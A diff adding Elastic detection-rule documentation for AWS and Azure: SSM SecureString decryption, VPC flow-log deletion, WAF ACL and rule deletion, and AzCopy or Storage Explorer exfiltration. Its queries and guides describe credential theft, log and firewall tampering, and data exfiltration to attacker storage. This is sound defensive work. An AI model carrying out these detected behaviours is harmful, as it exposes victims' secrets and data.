0000000000..d41bc05d98 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-systems-manager-securestring-parameter-request-with-decryption-flag.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-34-aws-systems-manager-securestring-parameter-request-with-decryption-flag]] +=== AWS Systems Manager SecureString Parameter Request with Decryption Flag + +Detects the first occurrence of a user identity accessing AWS Systems Manager (SSM) SecureString parameters using the GetParameter or GetParameters API actions with credentials in the request parameters. This could indicate that the user is accessing sensitive information. This rule detects when a user accesses a SecureString parameter with the withDecryption parameter set to true. This is a New Terms rule that detects the first occurrence of an AWS identity accessing SecureString parameters with decryption. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/vsts/latest/userguide/systemsmanager-getparameter.html +* https://docs.aws.amazon.com/systems-manager/latest/userguide/systems-manager-parameter-store.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS SSM +* Tactic: Credential Access +* Rule Type: New Terms +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Systems Manager SecureString Parameter Request with Decryption Flag* + + +This rule detects when an AWS resource accesses SecureString parameters within AWS Systems Manager (SSM) with the decryption flag set to true. SecureStrings are encrypted using a KMS key, and accessing these with decryption can indicate attempts to access sensitive data. + +Adversaries may target SecureStrings to retrieve sensitive information such as encryption keys, passwords, and other credentials that are stored securely. Accessing these parameters with decryption enabled is particularly concerning because it implies the adversary is attempting to bypass the encryption to obtain plain text values that can be immediately used or exfiltrated. This behavior might be part of a larger attack strategy aimed at escalating privileges or moving laterally within an environment to access protected data or critical infrastructure. + + +*Possible Investigation Steps* + + +- **Review the Access Event**: Identify the specific API call (`GetParameter` or `GetParameters`) that triggered the rule. Examine the `request_parameters` for `withDecryption` set to true and the name of the accessed parameter. +- **Verify User Identity and Access Context**: Check the `aws.cloudtrail.user_identity` details to understand who accessed the parameter and their role within the organization. This includes checking the ARN and access key ID to determine if the access was authorized. + - **User ID**: Review the `user.name` field to identify the specific user or role that initiated the API call. Note that the ARN associated may be an assumed role and may not directly correspond to a human user. +- **Contextualize with User Behavior**: Assess whether the access pattern fits the user’s normal behavior or job responsibilities. Investigate any out-of-pattern activities around the time of the event. +- **Analyze Geographic and IP Context**: Using the `source.ip` and `source.geo` information, verify if the request came from a trusted location or if there are any anomalies that suggest a compromised account. +- **Inspect Related CloudTrail Events**: Look for other related events in CloudTrail to see if there was unusual activity before or after this event, such as unusual login attempts, changes to permissions, or other API calls that could indicate broader unauthorized actions. + + +*False Positive Analysis* + + +- **Legitimate Administrative Use**: Verify if the decryption of SecureString parameters is a common practice for the user’s role, particularly if used in automation scripts or deployment processes like those involving Terraform or similar tools. +- **Authorized Access**: Ensure that the user or role has a legitimate reason to access the SecureString parameters and that the access is part of their expected job responsibilities. + + +*Response and Remediation* + + +- **Immediate Verification**: Contact the user or team responsible for the API call to verify their intent and authorization. +- **Review and Revise Permissions**: If the access was unauthorized, review the permissions assigned to the user or role to ensure they align with the principle of least privilege. +- **Audit Parameter Access Policies**: Ensure that policies governing access to SecureString parameters are strict and audit logs are enabled to track access with decryption. +- **Incident Response**: If suspicious activity is confirmed, follow through with your organization's incident response plan to mitigate any potential security issues. +- **Enhanced Monitoring and Alerting**: Strengthen monitoring rules to detect unusual accesses to SecureString parameters, especially those that involve decryption. + + +*Additional Information* + + +This rule focuses solely on SecureStrings in AWS Systems Manager (SSM) parameters. SecureStrings are encrypted using an AWS Key Management Service (KMS) key. When a user accesses a SecureString parameter, they can specify whether the parameter should be decrypted. If the user specifies that the parameter should be decrypted, the decrypted value is returned in the response. + + +==== Setup + + +This rule requires that AWS CloudTrail logs are ingested into the Elastic Stack. Ensure that the AWS integration is properly configured to collect AWS CloudTrail logs. This rule also requires event logging for AWS Systems Manager (SSM) API actions which can be enabled in CloudTrail's data events settings. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: "ssm.amazonaws.com" + and event.action: (GetParameters or GetParameter) + and event.outcome: success + and aws.cloudtrail.flattened.request_parameters.withDecryption: true + and not source.address: ( + "cloudformation.amazonaws.com" or + "servicecatalog.amazonaws.com" + ) + and not user_agent.original: ( + *Fargate* or + *Terraform* + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Cloud Secrets Management Stores +** ID: T1555.006 +** Reference URL: https://attack.mitre.org/techniques/T1555/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-vpc-flow-logs-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-vpc-flow-logs-deletion.asciidoc new file mode 100644 index 0000000000..835f22355a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-vpc-flow-logs-deletion.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-34-aws-vpc-flow-logs-deletion]] +=== AWS VPC Flow Logs Deletion + +Identifies the deletion of one or more flow logs in AWS Elastic Compute Cloud (EC2). An adversary may delete flow logs in an attempt to evade defenses. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/delete-flow-logs.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DeleteFlowLogs.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS EC2 +* Tactic: Defense Evasion +* Rule Type: Custom Query (KQL) +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS VPC Flow Logs Deletion* + + +VPC Flow Logs is an AWS feature that enables you to capture information about the IP traffic going to and from network interfaces in your virtual private cloud (VPC). Flow log data can be published to Amazon CloudWatch Logs or Amazon S3. + +This rule identifies the deletion of VPC flow logs using the API `DeleteFlowLogs` action. Attackers can do this to cover their tracks and impact security monitoring that relies on this source. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user account during the past 48 hours. +- Contact the account and resource owners and confirm whether they are aware of this activity. +- Check if this operation was approved and performed according to the organization's change management policy. +- Considering the source IP address and geolocation of the user who issued the command: + - Do they look normal for the user? + - If the source is an EC2 IP address, is it associated with an EC2 instance in one of your accounts or is the source IP from an EC2 instance that's not under your control? + - If it is an authorized EC2 instance, is the activity associated with normal behavior for the instance role or roles? Are there any other alerts or signs of suspicious activity involving this instance? +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + + +- If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of user and IP address conditions. +- Administrators may rotate these logs after a certain period as part of their retention policy or after importing them to a SIEM. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users. +- Consider enabling multi-factor authentication for users. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[outlined] by AWS. +- Take the actions needed to return affected systems, data, or services to their normal operational levels. +- Identify the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Setup + + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:aws.cloudtrail and event.provider:ec2.amazonaws.com and event.action:DeleteFlowLogs and event.outcome:success + and not user_agent.original: (*Terraform* or *Pulumi*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-waf-access-control-list-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-waf-access-control-list-deletion.asciidoc new file mode 100644 index 0000000000..17e9d9cd55 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-waf-access-control-list-deletion.asciidoc @@ -0,0 +1,197 @@ +[[prebuilt-rule-8-19-34-aws-waf-access-control-list-deletion]] +=== AWS WAF Access Control List Deletion + +Identifies the deletion of an AWS Web Application Firewall (WAF) Web ACL. Web ACLs are the core enforcement objects in AWS WAF, defining which traffic is inspected, allowed, or blocked for protected applications. Deleting a Web ACL removes all associated rules, protections, and logging configurations. Adversaries who obtain sufficient privileges may delete a Web ACL to disable critical security controls, evade detection, or prepare for downstream attacks such as web-application compromise, data theft, or resource abuse. Because Web ACLs are rarely deleted outside of controlled maintenance or infrastructure updates, unexpected deletions may indicate potential defense evasion. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/waf/latest/APIReference/API_DeleteWebACL.html +* https://docs.aws.amazon.com/waf/latest/APIReference/API_wafRegional_DeleteWebACL.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS WAF +* Tactic: Defense Evasion +* Rule Type: Custom Query (KQL) +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS WAF Access Control List Deletion* + + +AWS Web Application Firewall (WAF) protects applications by inspecting HTTP/S traffic and applying rule groups, +managed rule sets, and custom logic to block or allow requests. A Web ACL is the primary enforcement object that binds +these protections to CloudFront distributions, Application Load Balancers, API Gateway stages, and AppSync APIs. + +Deleting a Web ACL immediately removes all protections and logging associated with that application entry point. +Because this action can expose applications to direct exploitation, adversaries may delete Web ACLs to disable +defenses, evade detection, or prepare for lateral movement or data exfiltration. + +This rule detects successful `DeleteWebACL` events across WAF Classic, WAF Regional, and WAFv2 APIs. + + +*Possible investigation steps* + + +- **Identify the actor and access context** + - Review `aws.cloudtrail.user_identity.arn` and `access_key_id` for the identity that initiated deletion. + - Determine whether this principal normally manages WAF resources. + - Check if the call originated via IAM role assumption, federated identity, or long-lived IAM key. + +- **Assess the deleted ACL** + - Check `aws.cloudtrail.request_parameters` for: + - The Web ACL ID (`WebACLId`, `Id`, or ARN). + - The scope (REGIONAL vs. CLOUDFRONT). + - Associated resource ARNs that were protected. + - Determine which applications or APIs depended on this Web ACL. + - Evaluate the criticality and sensitivity of any exposed endpoints. + +- **Correlate with related security-affecting activity** + - Use CloudTrail to pivot on: + - The same identity (`user_identity.arn` or access key). + - The same application load balancer, CloudFront distribution, or API Gateway stage. + - Look for: + - Prior rule updates (`UpdateWebACL`, `DeleteRuleGroup`, etc.). + - IAM privilege escalation events. + - Changes to logging or monitoring (e.g., disabling WAF logging). + +- **Investigate request origin and tooling** + - Review `source.ip`, ASN, and geo-location for anomalies. + - Analyze `user_agent.original` to identify automation, custom scripts, CLI usage, or console access. + +- **Evaluate operational context** + - Determine whether the deletion aligns with: + - Scheduled maintenance. + - IaC-driven redeployments (Terraform, CDK, CloudFormation). + - Known migrations between WAF Classic and WAFv2. + - If deletion occurred outside expected time windows or without a corresponding change ticket, treat it as suspicious. + + +*False positive analysis* + + +- **Expected infrastructure lifecycle events** + - IaC pipelines may destroy and recreate Web ACLs as part of environment rotation or blue/green deployments. + - Confirm whether the deleting identity matches known automation roles. + +- **Planned refactoring or migrations** + - Organizations transitioning to WAFv2 or moving resources across regions may intentionally delete legacy ACLs. + +- **Testing and sandbox environments** + - Developers may frequently create and remove ACLs during experimentation. + - Tune the rule to suppress events from non-production accounts or specific tags. + +- **Automated cleanup** + - Certain CI/CD processes or teardown scripts remove WAF resources during ephemeral environment shutdowns. + +If any deletion is inconsistent with normal operational patterns or performed by an unexpected principal, treat it as a potential defense-evasion attempt. + + +*Response and remediation* + + +- **Containment** + - Immediately assess exposed applications. If feasible, apply temporary restrictive network controls (e.g., ALB security group tightening or CloudFront WAFv2 fallback rules). + - Revoke session tokens or access keys associated with suspicious actors. + +- **Restore protections** + - Recreate the deleted Web ACL using IaC definitions, backups, or previous configurations. + - Validate that logging and monitoring (WAF logs, CloudWatch alarms, SIEM ingestion) are correctly restored. + +- **Scope and impact analysis** + - Review CloudTrail for follow-on or preceding activity by the same actor: + - Rule modifications. + - IAM policy changes. + - Application configuration updates. + - API Gateway or ALB changes. + - Review application access logs for unusual requests following ACL removal. + +- **Hardening** + - Limit IAM permissions for `waf:DeleteWebACL`, `wafv2:DeleteWebACL`, and related actions to a small set of trusted roles. + - Enforce MFA for administrative access. + - Use AWS Config or Security Hub controls to detect unauthorized modifications to WAF resources. + +- **Post-incident improvements** + - Update change-management workflows to include required approvals for WAF modifications. + - Improve monitoring for other defense-evasion patterns such as disabling GuardDuty, CloudTrail, or logging. + + +*Additional information* + + +- **DeleteWebACL API (WAF Classic & Regional):** + https://docs.aws.amazon.com/waf/latest/APIReference/API_wafRegional_DeleteWebACL.html +- **DeleteWebACL API (WAFv2):** + https://docs.aws.amazon.com/waf/latest/APIReference/API_DeleteWebACL.html +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: (waf.amazonaws.com or waf-regional.amazonaws.com or wafv2.amazonaws.com) + and event.action: DeleteWebACL + and event.outcome: success + and not user_agent.original: (*Terraform* or *Pulumi*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-waf-rule-or-rule-group-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-waf-rule-or-rule-group-deletion.asciidoc new file mode 100644 index 0000000000..e0ac57afa2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-waf-rule-or-rule-group-deletion.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-34-aws-waf-rule-or-rule-group-deletion]] +=== AWS WAF Rule or Rule Group Deletion + +Identifies the deletion of an AWS Web Application Firewall (WAF) rule or rule group. WAF rules and rule groups enforce critical protections for web applications by filtering malicious HTTP requests, blocking known attack patterns, and enforcing access controls. Deleting these rules—even briefly—can expose applications to SQL injection, cross-site scripting, credential-stuffing bots, or targeted exploitation. Adversaries who have gained sufficient permissions may remove WAF protections as part of a broader defense evasion or impact strategy, often preceding data theft or direct application compromise. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/waf/latest/APIReference/API_waf_DeleteRule.html +* https://docs.aws.amazon.com/waf/latest/APIReference/API_waf_DeleteRuleGroup.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS WAF +* Tactic: Defense Evasion +* Rule Type: Custom Query (KQL) +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS WAF Rule or Rule Group Deletion* + + +AWS WAF rules and rule groups define the security boundary for web applications by blocking malicious inputs, +enforcing rate-based protections, and applying managed or custom signatures. Deleting a rule or rule group immediately +weakens this boundary. Adversaries who obtain sufficient permissions may delete these protections to remove detection of malicious payloads prior to exploitation or erase defenses protecting high-value APIs. + +This rule detects successful `DeleteRule` or `DeleteRuleGroup` API calls in CloudTrail. + + +*Possible investigation steps* + + +**Identify the actor** +- Review `aws.cloudtrail.user_identity.arn` and `user_identity.access_key_id` to determine which principal performed the deletion. +- Determine whether the principal normally manages WAF resources or appears anomalous (new key, unused IAM role, unexpected federation source). + +**Inspect the request context** +- Review `source.address`, `source.geo` fields, and `user_agent.original` to determine if the request originated from a known enterprise IP range, a CI/CD runner or automation tool, an unfamiliar network, region, or browser/CLI pattern. + +**Understand what was deleted** +- Review `aws.cloudtrail.request_parameters` for `RuleId` or `RuleGroupId`, any referenced WebACLs using the rule, metadata indicating whether the deleted rule was part of production traffic control. + +**Correlate surrounding activity** +- Look for adjacent CloudTrail events: + - modifications to WebACLs (`UpdateWebACL`) + - creation of permissive rules (`CreateRule`, `PutRule`) after deletion + - IAM privilege escalation events + - unusual S3, API Gateway, or ALB access patterns immediately after the rule deletion +- Determine if deletion preceded or followed exploit attempts visible in application logs. + +**Establish operational context** +- Confirm whether the deletion aligns with a deployment pipeline, scheduled maintenance, rule tuning by security teams. If not, treat the event as potentially malicious. + +**Engage relevant owners** +- Contact application security or platform engineering teams to verify whether the rule or rule group deletion was authorized. + + +*False positive analysis* + + +- **Authorized deployment workflows** + Some organizations rebuild WAF rules programmatically during deployments. Validate expected CI/CD service roles and event timing. + +- **Automated rule regeneration** + Certain WAF-as-code approaches temporarily delete and recreate rules. Confirm if the event corresponds to an expected automation cycle. + +- **Security team testing** + Teams may temporarily disable or remove rules during testing of new signatures or rate controls. Verify scheduling and ownership. + +- **Non-production environments** + Development or staging accounts may routinely alter WAF rules. Tune the rule by account, environment tags, or namespaces to reduce noise. + + +*Response and remediation* + + +- **Contain the incident** + - Immediately verify whether the deletion was intentional. + - If unauthorized, revoke active access keys or disable implicated IAM roles/sessions. + +- **Reinstate protections** + - Restore the deleted rule or rule group from infrastructure-as-code definitions, backups, or documented configuration. + - Inspect associated WebACLs to ensure no additional rules were removed or modified. + +- **Investigate follow-on activity** + - Review application logs for suspicious requests following WAF rule removal. + - Investigate potential exploitation attempts (SQLi, XSS, API abuse, authentication bypass). + +- **Harden IAM and WAF governance** + - Limit WAF deletion operations to tightly controlled IAM roles. + - Enforce MFA and short session durations for privileged accounts. + - Consider guardrails using AWS Config or SCPs to prevent deletion of production WAF rules. + +- **Post-incident improvements** + - Update runbooks to track planned WAF changes. + - Strengthen CI/CD guardrails to prevent unauthorized rule manipulation. + - Enhance alerting for other high-risk WAF configuration changes. + + +*Additional information* + + +- **DeleteRule API (WAF Classic & Regional)** + https://docs.aws.amazon.com/waf/latest/APIReference/API_waf_DeleteRule.html +- **DeleteRuleGroup API (WAFv2)** + https://docs.aws.amazon.com/waf/latest/APIReference/API_waf_DeleteRuleGroup.html +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: (waf.amazonaws.com or waf-regional.amazonaws.com or wafv2.amazonaws.com) + and event.action: (DeleteRule or DeleteRuleGroup) + and event.outcome: success + and not user_agent.original: (*Terraform* or *Pulumi*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azcopy-or-azure-storage-explorer-usage-on-unusual-host.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azcopy-or-azure-storage-explorer-usage-on-unusual-host.asciidoc new file mode 100644 index 0000000000..90708e4ac2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azcopy-or-azure-storage-explorer-usage-on-unusual-host.asciidoc @@ -0,0 +1,185 @@ +[[prebuilt-rule-8-19-34-azcopy-or-azure-storage-explorer-usage-on-unusual-host]] +=== AzCopy or Azure Storage Explorer Usage on Unusual Host + +Identifies the first time, in a historical window, a host runs AzCopy copy or sync to Azure Blob, Data Lake, or File storage, or starts Azure Storage Explorer. These Microsoft utilities are legitimate data-transfer tools; ransomware and cloud-ransomware operators drop portable copies and use SAS-authenticated jobs to pull data from victim storage and push it to attacker-controlled accounts. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-319a +* https://www.cisa.gov/sites/default/files/2025-04/aa23-319a-stopransomware-rhysida-ransomware_2.pdf +* https://learn.microsoft.com/en-us/azure/storage/common/storage-use-azcopy-v10 +* https://learn.microsoft.com/en-us/azure/storage/storage-explorer/vs-azure-tools-storage-explorer-blobs +* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Platform: Windows +* Use Case: Threat Detection +* Tactic: Exfiltration +* Tactic: Collection +* Tactic: Execution +* Rule Type: New Terms +* Threat: Rhysida +* Threat: Ransomware +* Use Case: Ransomware +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AzCopy or Azure Storage Explorer Usage on Unusual Host* + + +AzCopy and Azure Storage Explorer are Microsoft utilities for moving data to and from Azure Storage. Threat actors abuse them as living-off-the-land binaries: they run `azcopy copy` with SAS URLs against `*.blob.core.windows.net` (GetBlob from a victim account, PutBlob to an attacker account, or Blob-to-Blob between them) and launch Storage Explorer to browse or move the same data. CISA's Rhysida advisory is one example of that tradecraft. + +This is a new-terms rule: it alerts the first time a `host.id` matches in the history window (7 days). AzCopy `copy`/`sync` whose command line includes an Azure Storage hostname, or Storage Explorer (`StorageExplorer.exe`, `StorageExplorer-windows-x64.exe`, `StorageExplorer-windows-arm64.exe`, `StorageExplorer-windowsx64.exe`), fires once per host. Recurring use on the same host will not re-alert until the history window expires. + + +*Possible investigation steps* + + +- Confirm which utility fired the alert. For AzCopy, inspect `process.command_line` for `copy` vs `sync`, `--from-to` (`BlobLocal`, `LocalBlob`, `BlobBlob`), and the SAS URL host, container, and `sp`/`se` parameters. For Storage Explorer, note the installer vs application name and silent-install flags such as `/VERYSILENT`. +- Identify source and destination. AzCopy command lines often contain a local path and one or two `https://.blob.core.windows.net/...` URLs. Treat Blob-to-Blob copies as direct tenant-to-attacker movement even when no files touch disk. +- Check `process.executable` and `process.parent.executable`. A copy from a user-writable or staging path, especially spawned by PowerShell or a scripting host, is more suspicious than a packaged install. +- Compare `process.name` with `process.pe.original_file_name` and `process.code_signature.subject_name`. A Microsoft-signed binary from an unusual path is still the Rhysida/Storm-0501 tradecraft; a renamed unsigned copy is additional evasion. +- Pivot to Azure Storage diagnostic logs for the same window: GetBlob, PutBlob, and BlobBlob with user agent `AzCopy*` or `Microsoft Azure Storage Explorer*` and SAS authentication. Correlate with the SIEM rule "Azure Storage Blob Retrieval via AzCopy". +- Review network telemetry from the same `process.entity_id` to `*.blob.core.windows.net` or `*.dfs.core.windows.net` and estimate volume. +- Hunt sibling activity on the host: other Azure LOLBINs, rclone, or bulk archive creation preceding the copy. + + +*False positive analysis* + + +- Authorized AzCopy migrations and first-time Storage Explorer use on a host will match. This rule alerts only the first time a given `host.id` matches within 7 days; allowlist by host, user, or approved destination if that first alert is expected. +- Do not treat a trusted Microsoft signature as benign by itself; CISA's Rhysida advisory describes the official AzCopy and Storage Explorer binaries. + + +*Response and remediation* + + +- If exfiltration is confirmed, isolate the host, stop AzCopy and Storage Explorer processes, and preserve the command line (SAS URLs are credentials). +- Revoke the SAS tokens and account keys that appear in the command line; rotate storage account keys and any related Entra ID credentials. +- Identify which blobs were read or written (GetBlob/PutBlob/ListBlobs for the same account and time window) and assess data exposure. +- Remove staged binaries under unusual paths and investigate how they were delivered. +- Hunt for additional AzCopy, Storage Explorer, or rclone activity on other hosts in the same window. + + +*Related rules* + + +- Azure Storage Blob Retrieval via AzCopy: cloud-side GetBlob with AzCopy user agent and SAS authentication. +- Potential Data Exfiltration via Rclone: similar endpoint abuse of a different cloud-sync utility. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:windows and event.category:process and event.type:start and +( + ( + (process.name:"azcopy.exe" or process.pe.original_file_name:"azcopy.exe") and + process.args:("copy" or "sync") and + process.command_line:(*blob.core.windows.net* or *dfs.core.windows.net* or *file.core.windows.net* or *blob.storage.azure.net*) + ) or + process.name:("StorageExplorer.exe" or "StorageExplorer-windows-x64.exe" or "StorageExplorer-windows-arm64.exe" or "StorageExplorer-windowsx64.exe") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: 